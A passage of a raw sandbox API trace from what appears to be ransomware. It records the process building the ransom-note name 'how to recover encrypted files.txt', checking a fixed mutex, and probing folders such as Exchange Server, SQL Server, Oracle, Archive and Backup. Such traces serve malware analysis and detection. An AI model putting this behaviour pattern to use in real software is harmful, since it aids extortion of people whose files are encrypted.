lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.968] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\hr-HR\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.968] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.968] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.968] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.968] GlobalUnlock (hMem=0x44000c) returned 0 [0046.968] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.968] GlobalLock (hMem=0x440004) returned 0x553188 [0046.968] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.969] GlobalUnlock (hMem=0x44000c) returned 0 [0046.969] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.969] GlobalUnlock (hMem=0x440004) returned 0 [0046.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.969] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.969] GlobalLock (hMem=0x440004) returned 0x551178 [0046.969] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.969] GlobalUnlock (hMem=0x440004) returned 0 [0046.969] GlobalLock (hMem=0x440004) returned 0x551178 [0046.969] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.969] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.969] GlobalUnlock (hMem=0x440004) returned 0 [0046.969] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.969] GlobalUnlock (hMem=0x44000c) returned 0 [0046.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.969] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.969] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.969] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.969] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.969] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.969] GlobalUnlock (hMem=0x44000c) returned 0 [0046.969] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.969] GlobalLock (hMem=0x440004) returned 0x554190 [0046.969] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.969] GlobalUnlock (hMem=0x44000c) returned 0 [0046.969] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.969] GlobalUnlock (hMem=0x440004) returned 0 [0046.969] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.970] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.970] GlobalLock (hMem=0x440004) returned 0x552180 [0046.970] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.970] GlobalUnlock (hMem=0x440004) returned 0 [0046.970] GlobalLock (hMem=0x440004) returned 0x552180 [0046.970] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.970] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.970] GlobalUnlock (hMem=0x440004) returned 0 [0046.970] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.970] GlobalUnlock (hMem=0x44000c) returned 0 [0046.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.970] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.970] GetLastError () returned 0x12 [0046.970] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.970] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.970] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.970] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.970] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.970] GlobalUnlock (hMem=0x44000c) returned 0 [0046.970] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.970] GlobalLock (hMem=0x440004) returned 0x553188 [0046.970] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.970] GlobalUnlock (hMem=0x44000c) returned 0 [0046.970] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.970] GlobalUnlock (hMem=0x440004) returned 0 [0046.970] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.971] GlobalLock (hMem=0x440004) returned 0x551178 [0046.971] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.971] GlobalUnlock (hMem=0x440004) returned 0 [0046.971] GlobalLock (hMem=0x440004) returned 0x551178 [0046.971] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.971] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.971] GlobalUnlock (hMem=0x440004) returned 0 [0046.971] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.971] GlobalUnlock (hMem=0x44000c) returned 0 [0046.971] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.971] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU") returned 1 [0046.971] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.971] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.971] GlobalUnlock (hMem=0x44000c) returned 0 [0046.971] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.971] GlobalLock (hMem=0x440004) returned 0x553188 [0046.971] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.971] GlobalUnlock (hMem=0x44000c) returned 0 [0046.971] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.971] GlobalUnlock (hMem=0x440004) returned 0 [0046.971] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@␪R⏾R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.972] GetLastError () returned 0x3 [0046.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18㽜Q\x181")) returned 0xffffffff [0046.972] GetLastError () returned 0x2 [0046.972] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⡄R企@\x18?T\x18;")) returned 0xffffffff [0046.973] GetLastError () returned 0x2 [0046.973] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@╜R企@\x18?T\x18D")) returned 0xffffffff [0046.973] GetLastError () returned 0x2 [0046.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18⡄R\x18j")) returned 0xffffffff [0046.974] GetLastError () returned 0x2 [0046.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@╜R企@\x18?T\x18q")) returned 0xffffffff [0046.975] GetLastError () returned 0x2 [0046.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\⡀RP") returned 6 [0046.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@♔R企@\x18?T\x18y")) returned 0xffffffff [0046.975] GetLastError () returned 0x2 [0046.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@⎌R企@\x18?T\x18\x81")) returned 0xffffffff [0046.976] GetLastError () returned 0x2 [0046.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="삌R䱠@╜R企@\x18?T\x18\x88")) returned 0xffffffff [0046.976] GetLastError () returned 0x2 [0046.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0046.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, 